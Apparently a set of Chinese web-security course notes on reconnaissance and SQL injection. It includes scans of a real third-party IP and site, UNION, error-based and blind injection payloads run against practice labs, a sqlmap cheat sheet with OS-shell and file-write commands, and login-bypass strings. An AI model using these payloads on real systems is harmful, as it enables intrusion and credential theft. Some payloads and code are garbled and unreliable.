各种接口一顿乱扫—思路
接口部分一顿测试—思路
试用一个IP地址45.33.42.112来做测试;
首先用nmap来进行端口扫描,nmap扫描的全但是时间慢;
也可以用黑暗引擎像shodan,钟馗之眼,fofa;
成功登陆进去一个端口,英特尔主动管理技术;
换一个传销网站接着收集信息,www.caredally.com
黑暗引擎都扫描一遍;
对这个IP进行端口分析
发现OpenSSH
去查询一下OpenSSH有什么漏洞可以利用
然后用昨天学习的内容再去收集信息
1.子域名查询
从中找到有用的子域名,来收集信息;
2.类似域名站点
用站长之家差备案查询
点开网站
这里查询wdcp有关的漏洞
3.通过官网名称搜索信息
用谷歌搜索了一下,发现了.xyz的域名
/robots.txt发现了有用的信息
发现了CMS
4.子域名查询IP
总结:总的来说就是先收集一下IP和域名,再对端口、子域名、目录扫描一遍;
GitHub是搞计算机使用较多的平台,有很多项目,我们监控他可以:
便于收集整理最新exp或poc(POC全称是Proof of Concept,中文译作概念验证。它是专门为了验证漏洞是否真的存在的脚本。而EXP全称是Exploit,中文译作漏洞利用程序。它是对POC验证结果的一种漏洞利用脚本。)
便于发现相关测试目标的资产
监控最新的EXP及其发布(地址:使用地址)
使用代码,有几个python库需要自己安装一下;
# Title: wechat push CVE-2020 # Date: 2020-5-9 # Exploit Author: weixiao9188 # Version: 4.0 # Tested on: Linux,windows # cd /root/sh/git/ && nohup python3 /root/sh/git/git.py & # coding:UTF-8 import requests import json import time import os import pandas as pd time_sleep = 60 # 每隔 20 秒爬取一次 while (True): headers1 = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3741.400 QQBrowser/10.5.3863.400"} # 判断文件是否存在 datas = [] response1 = None response2 = None if os.path.exists("olddata.csv"): # 如果文件存在则每次爬取 10 个 df = pd.read_csv("olddata.csv", header=None) datas = df.where(df.notnull(), None).values.tolist() # 将提取出来的数据中的 nan 转化为 None requests.packages.urllib3.disable_warnings() response1 = requests.get(url="https://api.github.com/search/repositories?q=CVE-2020&sort=updated&perpage = 10",headers=headers1,verify=False) response2 =requests.get(url="https://api.github.com/search/repositories?q=RCE&ssort=updated&per_page=10", headers = headers1, verify = False) else: # 不存在爬取全部 datas = [] requests.packages.urllib3.disable_warnings() response1 = requests.get(url="https://api.github.com/search/repositories?q=CVE-2020&sort=updated&order=desc",headers=headers1, verify=False) response2 =requests.get(url="https://api.github.com/search/repositories?q=ctcms&ssort=updated&order=desc", headers=headers1,verify=False) data1 = json.loads(response1.text) data2 = json.loads(response2.text) for j in [data1['items'], data2['items']]: for i in j: s = {"name": i['name'], "html": i['html_url'], "description": i['description']} s1 = [i['name'], i['html_url'], i['description']] if s1 not in datas: # print(s1) # print(datas) params = { "text": s["name"], "desp": "链接:" + str(s["html"]) + "\n简介" + str(s["description"]) } print("当前推送为" + str(s) + "\n") # print(params) requests.packages.urllib3.disable_warnings() requests.get("https://sct.ftqq.com/SendKeySCT70049T99iUjjK1W7SP73HNAz1vbgNd.send", params=params, headers=headers1, timeout=10, verify=False) time.sleep(1) # 以防推送太快 print("推送成功!\n") datas.append(s1) else: pass print("数据已经存在!") pd.DataFrame(datas).to_csv("olddata.csv", header=Nonne, Index=None) time.sleep(time_sleep)
使用之前还要申请一个Sever酱的推送,扫码登录就行,直接推送到微信上;
然后运行代码,就可以推送到手机微信上了;
1. 通过DNS解析记录
看域名上曾经有哪些东西被解析过。
2.通过HTTPS证书日志搜集
通过证书也可以查到域名信息;
3.通过搜索引擎
比如谷歌、百度这种正经点的搜索网站,或者使用fofa、shodan、zoomeye等这些黑暗引擎来查询一些信息;
4.枚举
就是采用暴力破解,关键是字典、速度—多线程、dns服务器选择;
5.利用漏洞
不常使用,讲解较少;
6.从主站爬取
在一些网站的下面会有一些导航,这个导航可能会把一些网站的子域名导航出来;
7.whois查询和关联查询
8.IP反查域名
全球节点请求cdn
枚举爆破或解析子域名对应
便于发现管理员相关的注册信息
1.黑暗引擎实现域名端口收集
FOFA搜索
shodan搜索
ZoomEye(钟馗之眼)搜索
2.全自动域名收集脚本
3.SRC目标中的信息收集全覆盖
补天上SRC上简易测试;
4.利用其他第三方接口获取更多信息
前言:讲解各种WEB层面上的有哪些漏洞类型,具体漏洞的危害等级,以及简要的影响范围测试进行实例分析,思维导图中的漏洞也是我们将要学习到的各个知识点,其实针对漏洞的形成原理,如何发现,如何利用。
CTF,SRC,红蓝对抗,实战等。
每个漏洞的危害情况都是不同的,得到的东西也不同,影响范围也不一样;
例如:SQL注入直接获取到关于网站对应数据库里面的权限,将会影响到网站和服务器数据库,获得权限;
高危漏洞:SQL注入、文件上传、文件包含、代码执行、未授权访问、命令执行(直接影响到网站权限,获得数据或者网站很敏感的东西)
中危漏洞:反序列化、逻辑安全
低危漏洞:XSS跨站、目录遍历、文件读取
漏洞的等级决定漏洞的重要程度,高危漏洞是重点;
从几个方面来说一下每个方面的漏洞重点,
CTF:文件上传、SQL注入、反序列化、代码执行
SRC:以上图片的漏洞都有,比较多的有逻辑安全
红蓝对抗:涉及到高危漏洞;
随着安全的发展,漏洞只会越来越少,但是不是完全没有,自己找不到漏洞是因为没有做好信息收集,原理没学好,测试的时候会出问题,找不到漏洞也是自己学习没到位;
1.SQL注入—数据库操作危害
用phpstudy搭建环境,使用pikachu靶场,用里面的SQL注入模块做测试;
使用SQL语句,来实行SQL注入
这类漏洞获取管理员账号密码,通过注入点和数据库数据有联系;
2.目录遍历漏洞—源码结构泄露危害
目录遍历的靶场
对比一下网站地址,做一些分析,例如:“=”后面是参数值
如果在文件夹下新建一个php文件,修改参数和参数名,就可以访问到新建的文件
如果我们想来到网站的根目录WWW
问题:已知http://127.0.0.1/pikachu-master/vul/dir/dir_list.php?title=1.php
获取的是D:\phpStudy\PHPTutorial\WWW\pikachu-master\vul\dir\soup\1.php的代码
那么获取下面的网站该怎么写?
D:\phpStudy\PHPTutorial\WWW\yy.php
获取这个yy.php的代码
采取这样的写法,就可以获得
目录遍历需要知道目录地址,不需要目录结构;
如何知道目录地址,需要目录爆破加网站模板加经验;
采用工具也可以去扫描的,扫描之前还要看看有没有安全狗,有安全狗的话,会直接把你拉黑,拒绝访问;
可以显示文件和文件夹的名字,但是不能得到文件里面的内容;
还有一种目录遍历是:php遍历一个文件夹下所有文件和子文件的方法
执行代码
<?php function my_dir($dir) { $files = []; if(@$handle = opendir($dir)) { while(($file = readdir($handle)) !== false) { if($file != ".." && $file != ".") { if(is_dir($dir . "/" . $file)) { //如果是子文件夹,进行递归 $files[$file] = my_dir($dir . "/" . $file); } else { $files[] = $file; } } } closedir($handle); } return $files; } echo "<pre>"; print_r(my_dir("./")); echo "</pre>";
这种文件遍历获取网站源码结构;
不能得到目录结构,但是能获取到单个文件的内容
文件上传就是上传一个文件到对方的网站,拿到对方权限会留后门,将后门文件上传到网站目录下面去,能够直接植入后门;
文件上传漏洞是一个高危漏洞,直接影响网站权限,直接植入后门;
前言:在本系列课程学习中,SQL 注入漏洞将是重点部分,其中 SQL 注入又非常复杂,区分各种数据库类型,提交方法,数据类型等注入,我们需要按部就班的学习,才能学会相关 SQL 注入的核心。同样此类漏洞是WEB 安全中严重的安全漏洞,学习如何利用,挖掘,修复也是很重要的。
思维导图:
题外话:安装忍者安全测试系统;
大部分的SQL注入是对数据库中的数据进行操作,包括查询、更新或者是删除;
SQL注入可以操作数据,在某条件下,可通过SQL注入直接进行后门的写入;
两个危害:一个是危害数据库中的数据,另一个直接危害网站权限;
注:这一块讲解的知识点,和演示案例1有很多相似的地方;
可控变量,带入数据库查询,变量未存在过滤或者过滤不严谨
像下面这个变量id就是可控变量,通过参数传递,可以对id进行变化;
另外如果没有上面图中的mysql_query这个语句去执行的话,也不能成功,带入数据库才行;
课上提问:
答案是1、2、3;
需要可以控制变量,需要有参数,加不加index.php其实访问的页面都一样;答案4也可以,可能是post注入,变量以post提交;
课上提问:
答案是2、3;
答案1,在y后面加 and 1=1 实现的是对y的注入,需要在x的后面加and 1=1,才能实现对参数x的注入;
答案2,对x注入,x是变量,需要x后连接注入语句;
答案3,y写不写注入语句无所谓,主要是x后写注入语句;
答案4,都没有参数x,怎么可能会有注入;
搭建的是sqlilabs,对sql注入更加全面,注意PHP版本为5.4.45以上7以下和数据库修改文件,导入配置文件
基本上sql注入都可以在这里学习;
学习第一个数据库MySQL简单注入
MYSQL数据库
1.在MYSQL5.0以上版本中,mysql存在一个自带数据库名为information_schema,它是一个存储所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或者列名信息。
2.数据库中符号"."代表下一级,如xiaodi.user表示xiaodi数据库下的user表名。
3.information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name:表名
column_name:列名
table_schema:数据库名
1.简易代码分析 SQL 注入原理
打开SQLlibs,选择第二关;
拼接构造语句、实现注入
通过简单的例子,大概知道注入是怎么一回事了;
SQL注入原理:通过参数的传递,传递数据过去,拼接到之前定义好的SQL语句中去,由于能拼接,将一些恶意的SQL语句拼接上去,语句就会进行一些重新的用法,实现自定义的查询;
补充:为什么图片里面的id=-2,因为我们要查询的表是另外一个,所以要把前面的查询语句置否,然后数据库就会执行后面那句;
因为这里的id=$id,是变量可以修改,如果给定了一个值,就不可以去执行,没办法进行操作;
2.墨者靶机真实MYSQL注入演示
打开靶场环境
补充:如何判断注入点?
and 1=1 页面正常
and 1=2 页面错误
可能存在注入点
select * from users where id=1daadda LIMIT 0,1
xxx/?id=1daadda 这样输入,如果对网站有影响,和原来网站有差别,证明他代入数据库查询了,证明了会有漏洞;如果没有差别,网站不检测你输入的参数即不能传递参数,说明没有漏洞。
如果报了404错误或跳转,说明网站对输入参数检测了,大部分没有漏洞。
判断注入(以上)
猜解列名数量(字段数)
因为union联合查询字段数必须一样,否则会报错;
使用order by x(数字) 错误与正常的临界值,不断测试x直到页面错误;
输入5是错误的
219.153.49.228:42123/new_list.php?id=1 order by 4
由上面猜解字段数得到下面
http://219.153.49.228:42123/new_list.php?id=-1 union select 1,2,3,4
2和3有显示位,数据出来可以看见
数据库版本:version() -> 5.7.22-0ubuntu0.16.04.1
数据库名字:database() -> mozhe_Discuz_StormGroup
数据库用户:user() -> root@localhost
操作系统:@@version_compile_os -> Linux
查询指定数据库名mozhe_Discuz_StormGroup下的表名信息:
http://219.153.49.228:43123/new_list.php?id=-1
union select 1,group_concat(table_name),3,4 from information_schema.tables
where table_schema=‘mozhe_Discuz_StormGroup’
查询指定表名StormGroup_member下的列名信息:
http://219.153.49.228:43123/new_list.php?id=-1
union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=‘StormGroup_member’
查询指定表名StormGroup_member下的数据:
http://219.153.49.228:43123/new_list.php?id=-1
union select 1,name,password,4 from StormGroup_member
MD5解密password,得到密码
猜解表下多个数据可以采用limit x,1
http://219.153.49.228:43123/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member limit 1,1
解题成功
前言:MYSQL注入中首先要明确当前注入点权限,高权限注入时有更多的攻击手法,有的能直接进行getshell。其中也会遇到很多阻碍,相关防御方案也要明确,所谓知己知彼,百战不殆。不论作为攻击还是防御都需要了解其中的手法和原理,这样才是一个合格的安全工作者。
继续上节课没有完成的部分;
继续使用sqlilabs这个靶场测试
可以看到这个用户名时是root,是最高权限,除root之外都是普通用户
1.跨库查询及应用思路
原理:一个网站的注入点影响到另一个网站的数据,需要root型注入点,
通过’ select * from schemata;'语句,查询数据库中所有数据库的名字;
实现跨库注入,首先需要获得跨库的数据库的名字;
可以通过查询schemata获得另一个数据库名
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1
union select 1,group_concat(schema_name),3 from information_schema.schemata
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘dvwa’
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1
union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’
如果直接这样写,很可能把其他数据库里面的users给查询出来,需要再做一些其他添加过滤;
如下:
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1
union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ and table_schema=‘dvwa’
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1
union select 1,user,password from dvwa.users
跨库选择表:因为是跨库查询,需要在表前添加该表的数据库名称,否则会默认为当前库的表;
会用到MySQL数据库里两个内置函数,这两个函数是MySQL数据库特有的,在其他数据库是没有的或者在其他数据库中写法不 同,所以这是为什么说注入点分数据库的原因,因为每个数据库内置的安全机制和它的功能不同,这才导致在注入的时候针对不用的数据库采取的攻击思路也不同。
load_file(): 读取函数
into outfile 或者 into dumpfile:导出函数
路径获取常见方法:
报错显示,遗留文件,漏洞报错,平台配置文件,爆破等;
网站出现错误时,会显示路径;
类似于phpinfo()文件,为了调试信息遗留的文件,命名一般为phpinfo()之类的;
可以用工具扫描到;
知道对方是用什么脚本程序搭建再去网上去搜索漏洞信息:phpcms爆路径、zblog爆路径;
搭建平台的配置文件,会记录网站的信息,包括网站储存路径,网站的域名,IP等,需要一些默认路径来进行尝试读取;
实在获取不到路径,可采用常规思路爆破网站常规路径
windows:d:/wwwroot/xiaodi8
linux:/var/www/xiaodi8
1.常见读取文件列表
注:下述SQL语句的执行,必须依赖于数据库中secure_file_priv参数,该参数指定了数据库导入和导出的安全路径。
需要在mysql的配置文件my.ini文件添加secure_file_priv=‘’
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1
union select 1,load_file(‘d:/www.txt’),3
2.常见读取文件列表及写入文件问题:魔术引导开关
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1
union select 1,‘x’,3 into outfile ‘C:\phpStudy\PHPTuorial\WWW\sqli-labs-master\x.php’–+
魔术引号magic_quotes_gpc是php安全机制开关,在php的配置文件php.ini修改
当magic_quotes_gpc = On时,输入数据中含单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符,都会被加上反斜线,都不会被转义。这些转义是必须的。
绕过方法:可以采用编码或者宽字节,把路径进行十六进制编码,就不需要使用单引号,可以正常解析;
1.魔术引导及常见防护
当magic_quotes_gpc = On时,输入数据中含单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符,都会被加上反斜线,从而不会被执行
2.采用内置函数进行防护
addslashes()函数也是和魔术引导一样效果
is_int()函数判断变量
还有更多内置函数也可以进行防护;
正常情况遇到的不多;
3.自定义关键字:select
$ id=str_replace(‘select’,‘fuck’,$id)
将select转换成fuck;
绕过方法:对过滤关键字进行大小写,hex编码,叠写,等价函数替换等等
4.WAF防护软件:安全狗,宝塔等;
数据库低版本注入配合读取或暴力
字典或读取;
暴力查询或结合读取查询;
sqlmap下的字典
前言:在真实 SQL 注入安全测试中,我们一定要先明确提交数据及提交方法后再进行注入,其中提交数据类型和提交方法可以通过抓包分析获取,后续安全测试中我们也必须满足同等的操作才能进行注入。
数字、字符、搜索、JSON等;
其中 SQL 语句干扰符号:',",%,),}等,具体需看写法
GET、POST、COOKIE、REQUEST、HTTP头等;
不同的请求方式,请求的数据类型、大小都不一样;
这个网站请求方法出现漏洞,要按照请求方法上,去测试注入;
1.GET请求
编写php代码,实现GET请求的演示
可以看到GET请求
2.POST请求
单纯的在get后面对p做请求是没办法回应的,必须做POST请求,请求的数据在请求体;
hackbar有工具可以去做POST请求,抓包看一下;
上图可以看到POST请求成功;
3.COOKIE请求
需要自己手动添加;
4.REQUEST请求
REQUEST请求是全部接收,POST、GET和COOKIE的数据全部接收;
我们不清楚对方的接收方式,如果使用request请求,就不用管是什么请求方法了,因为request全部接收;
5.$_SERVER[’ ']
是php的全局变量,用来获取系统的一些值,一些信息;
SERVER详解
可以在网站的数据包里插入注入,在http数据包里面注入,就是HTTP头部注入,页面会执行返回数据;例如某网站可以获取你HTTP头部信息,那就再HTTP头部注入上述语句,页面可显示。
1.参数字符型注入测试=>sqlilabs less 5 6
先是和前面一样and 1=1,看看会不会报错,但是一点反应没有;
因为是讲解,我们直接观察php源码;
id上面有单引号;
注入的时候需要把单引号释放出来
然后开始注入,需要把单引号给注释掉;
采用以下注入方法;
查看注入,另后面的数字不相等,开始报错,所以有注入;
查看php源码,看到它注入的时候需要加双引号;
?id=1" and “1”="2
所以我们加上双引号,再另数值不相等,看它能不能报错;
双引号和前面的双引号闭合,–+将后面的大小都注释掉;
产生了报错;
2.POST 数据提交注入测试=>sqlilabs less 11
打开靶场sqlilabs less 11
使用数据抓包,找到注入点就在登录框附近;
查看php源代码,可以看到是单引号,要把单引号闭合;
注入语句在username或password后都行,都传递变量,是注入点
用下面语句进行SQL注入,爆出数据库名称;
username=admin’ and 1=2 union select database(),2#
注释符:#,- -+,%23,- -空格
找到注入点后,就可以进行第十二天的套路了,获取到数据库中的数据
3.COOKIE 数据提交注入测试=>sqlilabs less 20
打开靶场sqlilabs less 20
改写语句,观察SQL语句;
这里观察php源代码,对POST注入会有过滤,所以采用cookie注入;
抓取数据包,采用cookie注入,爆破出了数据;
4.HTTP 头部参数数据注入测试=>sqlilabs less 18
打开靶场,出现了我的IP,这个页面可以检测我的IP,所以就是SERVER服务;
观察php源代码,发现查询方式是insert
抓取数据包,尝试注入点;
5.参数 JSON 数据注入测试=>本地环境代码演示
JSON的格式
对JSON进行注入测试
经常出现在APP中
测试网址
点击选项,抓包看一下,下面红色的JSON的数据包,更改冒号后的数据,进行注入;
把测试语句,写到双引号里面;
Access、mssql、mongoDB、postgresql、sqlite、oracle、sybase等;
数据库架构组成、数据库高权限操作;
除了access以外,其他数据库在组成方面都是
access数据库与其他数据库不同,它就只有自己一个数据库,往下没有数据库;
access数据库独立存在,每个网站都有自己的accsess数据库,所以没办法使用跨库注入;
access也不需要查询数据库名;
access很多功能都没有,例如文件读取;
提问:什么决定了网站注入点用户权限
回答:当前网站的数据库用户,数据库的配置文件是谁连接的
1.Access注入介绍
打开墨者靶场,开始尝试注入学习
用sqlmap进行漏洞扫描,判断出了数据库是Access
查询数据的时候,直接开始查表,因为access没有什么数据库名什么的;
注入的时候只能靠暴力猜解,去猜表名;
猜解成功,获取用户名和密码;
遗留问题:
Access注入时,如果列名或表名猜解不到的情况怎么办?
2.Mssql注入介绍
打开靶场
使用工具Pangolin观察Mssql
每个数据库支持的东西不一样,需要的时候自己查询
查询Mssql手工注入
因为学习MySQ可以有助于后期学习其他数据库;
Mssql语句注入;
得到答案
3.Postgresql注入介绍
打开靶场
查询PostgreSQL注入点;
用sqlmap工具注入,查询数据库,得到用户名和密码
解题成功;
5.Oracle 注入介绍
打开靶场
注入总结
6.MongoDB注入介绍
sqlmap不支持MongoDB
NoSQLAttack支持mongoDB的注入工具
Sqlmap基本操作
基本操作笔记: -u #注入点 -f #指纹判别数据库类型 -b #获取数据库版本信息 -p #指定可测试的参数(?page=1&id=2 -p "page,id") -D "" #指定数据库名 -T "" #指定表名 -C "" #指定字段 -s "" #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s "xx.log" 恢复:-s "xx.log" --resume) --level=(1-5) #要执行的测试水平等级,默认为1 --risk=(0-3) #测试执行的风险等级,默认为1 --time-sec=(2,5) #延迟响应,默认为5 --data #通过POST发送数据 --columns #列出字段 --current-user #获取当前用户名称 --current-db #获取当前数据库名称 --users #列数据库所有用户 --passwords #数据库用户所有密码 --privileges #查看用户权限(--privileges -U root) -U #指定数据库用户 --dbs #列出所有数据库 --tables -D "" #列出指定数据库中的表 --columns -T "user" -D "mysql" #列出mysql数据库中的user表的所有字段 --dump-all #列出所有数据库所有表 --exclude-sysdbs #只列出用户自己新建的数据库和表 --dump -T "" -D "" -C "" #列出指定数据库的表的字段的数据(--dump -T users -D master -C surname) --dump -T "" -D "" --start 2 --top 4 # 列出指定数据库的表的2-4字段的数据 --dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB) --os #指定系统(Linux,Windows) -v #详细的等级(0-6) 0:只显示Python的回溯,错误和关键消息。 1:显示信息和警告消息。 2:显示调试消息。 3:有效载荷注入。 4:显示HTTP请求。 5:显示HTTP响应头。 6:显示HTTP响应页面的内容 --privileges #查看权限 --is-dba #是否是数据库管理员 --roles #枚举数据库用户角色 --udf-inject #导入用户自定义函数(获取系统权限) --union-check #是否支持union 注入 --union-cols #union 查询表记录 --union-test #union 语句测试 --union-use #采用union 注入 --union-tech orderby #union配合order by --data "" #POST方式提交数据(--data "page=1&id=2") --cookie "用;号分开" #cookie注入(--cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”) --referer "" #使用referer欺骗(--referer "http://www.baidu.com") --user-agent "" #自定义user-agent --proxy "http://127.0.0.1:8118" #代理注入 --string="" #指定关键词,字符串匹配. --threads #采用多线程(--threads 3) --sql-shell #执行指定sql命令 --sql-query #执行指定的sql语句(--sql-query "SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1" ) --file-read #读取指定文件 --file-write #写入本地文件(--file-write /test/test.txt --file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt) --file-dest #要写入的文件绝对路径 --os-cmd=id #执行系统命令 --os-shell #系统交互shell --os-pwn #反弹shell(--os-pwn --msf-path=/opt/framework/msf3/) --msf-path= #matesploit绝对路径(--msf-path=/opt/framework/msf3/) --os-smbrelay # --os-bof # --reg-read #读取win系统注册表 --priv-esc # --time-sec= #延迟设置 默认--time-sec=5 为5秒 -p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)" #指定user-agent注入 --eta #盲注 /pentest/database/sqlmap/txt/ common-columns.txt 字段字典 common-outputs.txt common-tables.txt 表字典 keywords.txt oracle-default-passwords.txt user-agents.txt wordlist.txt
常用语句 : 1./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db --users --passwords --dbs -v 0 2./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --passwords -U root --union-use -v 2 3./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --dump -T users -C username -D userdb --start 2 --stop 3 -v 2 4./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --dump -C "user,pass" -v 1 --exclude-sysdbs 5./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --sql-shell -v 2 6./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --file-read "c:\boot.ini" -v 2 7./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --file-write /test/test.txt --file-dest /var/www/html/1.txt -v 2 8./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-cmd "id" -v 1 9./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-shell --union-use -v 2 10./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-pwn --msf-path=/opt/framework/msf3 --priv-esc -v 1 11./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-pwn --msf-path=/opt/framework/msf3 -v 1 12./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-bof --msf-path=/opt/framework/msf3 -v 1 13./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 --reg-add --reg-key="HKEY_LOCAL_NACHINE\SOFEWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1 14./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --eta 15./sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc" 16./sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass" 17./sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)" 18./sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3 19./sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo'" -v 1 20./sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --common-tables -D testdb --banner 21./sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --cookie="PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low" --string='xx' --dbs --level=3 -p "uid"
简单的注入流程 : 1.读取数据库版本,当前用户,当前数据库 sqlmap -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db -v 1 2.判断当前数据库用户权限 sqlmap -u http://www.xxxxx.com/test.php?p=2 --privileges -U 用户名 -v 1 sqlmap -u http://www.xxxxx.com/test.php?p=2 --is-dba -U 用户名 -v 1 3.读取所有数据库用户或指定数据库用户的密码 sqlmap -u http://www.xxxxx.com/test.php?p=2 --users --passwords -v 2 sqlmap -u http://www.xxxxx.com/test.php?p=2 --passwords -U root -v 2 4.获取所有数据库 sqlmap -u http://www.xxxxx.com/test.php?p=2 --dbs -v 2 5.获取指定数据库中的所有表 sqlmap -u http://www.xxxxx.com/test.php?p=2 --tables -D mysql -v 2 6.获取指定数据库名中指定表的字段 sqlmap -u http://www.xxxxx.com/test.php?p=2 --columns -D mysql -T users -v 2 7.获取指定数据库名中指定表中指定字段的数据 sqlmap -u http://www.xxxxx.com/test.php?p=2 --dump -D mysql -T users -C "username,password" -s "sqlnmapdb.log" -v 2 8.file-read读取web文件 sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-read "/etc/passwd" -v 2 9.file-write写入文件到web sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-write /localhost/mm.php --file使用sqlmap绕过防火墙进行注入测试:
前言:当进行SQL注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL语句查询方式的问题导致,这个时候我们需要用到相关的报错或盲注进行后续操作,同时作为手工注入时,提前了解或预知其SQL语句大概写法也能更好的选择对应的注入语句;
1)select 查询数据
在网站应用中进行数据显示查询操作
例:select * from news where id=$id
2)insert 插入数据
在网站应用中进行用户注册添加等操作
例:insert into news(id,url,text) values(2,‘x’,‘$t’)
3)delete 删除数据
后台管理里面删除文章删除用户等操作
例:delete from news where id=$id
4)update 更新数据
会员或后台中心数据同步或缓存等操作
例:update user set pwd=‘$p’ where id=2 and username=‘admin’
5)order by 排序数据
一般结合表名或列名进行数据排序操作
例:select * from news order by $id
例:select id,name,price from news order by $order
重点理解:
我们可以通过以上查询方式与网站应用的关系
注入点产生地方或应用猜测到对方的 SQL 查询方式
盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断
或者尝试,这个过程称之为盲注。我们可以知道盲注分为以下三类:
1)基于布尔的 SQL 盲注-逻辑判断
regexp,like,ascii,left,ord,mid
2)基于时间的 SQL 盲注-延时判断
if,sleep
3)基于报错的 SQL 盲注-报错回显
floor,updatexml,extractvalue
1、通过floor报错,注入语句如下: and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a); 2、通过ExtractValue报错,注入语句如下: and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); 3、通过UpdateXml报错,注入语句如下: and 1=(updatexml(1,concat(0x3a,(select user())),1)) 4、通过NAME_CONST报错,注入语句如下: and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c) 5、通过join报错,注入语句如下: select * from(select * from mysql.user ajoin mysql.user b)c; 6、通过exp报错,注入语句如下: and exp(~(select * from (select user () ) a) ); 7、通过GeometryCollection()报错,注入语句如下: and GeometryCollection(()select *from(select user () )a)b ); 8、通过polygon ()报错,注入语句如下: and polygon (()select * from(select user ())a)b ); 9、通过multipoint ()报错,注入语句如下: and multipoint (()select * from(select user() )a)b ); 10、通过multlinestring ()报错,注入语句如下: and multlinestring (()select * from(selectuser () )a)b ); 11、通过multpolygon ()报错,注入语句如下: and multpolygon (()select * from(selectuser () )a)b ); 12、通过linestring ()报错,注入语句如下: and linestring (()select * from(select user() )a)b ); 常用的万能username语句: a ’ or 1=1 # a ") or 1=1 # a‘) or 1=1 # a” or “1”=”1 ' or '1'='1 ' or (length(database())) = 8 (用于输入’ “都没有错误) ' or (ascii(substr((select database()) ,1,1))) = 115 # (用于输入’ “都没有错误) ") or ("1")=("1 ") or 1=1 or if(1=1, sleep(1), null) # ") or (length(database())) = 8 # ") or (ascii(substr((select database()) ,1,1))) = 115 or if(1=1, sleep(1), null) # post型盲注通杀payload:uname=admin%df'or()or%200%23&passwd=&submit=Submit 关于UPDATEXML,REFERER,COOKIE的构造 User-Agent:.........' or updatexml(1,concat(0x7e,database(),0x7e),1),”,”) # Referer: ’ or updatexml(1,concat(0x7e,database(),0x7e),1),”,”) # Cookie:username: admin ’ or updatexml(1,concat(0x7e,database(),0x7e),1) # updatexml报错注入 爆数据库版本信息:?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) 链接用户:?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) 链接数据库:?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) 爆库:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1) 爆表:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1) 爆字段:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1) 爆字段内容:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)
参考:
like 'ro%' #判断 ro 或 ro...是否成立
regexp '^xiaodi[a-z]' #匹配 xiaodi 及 xiaodi...等
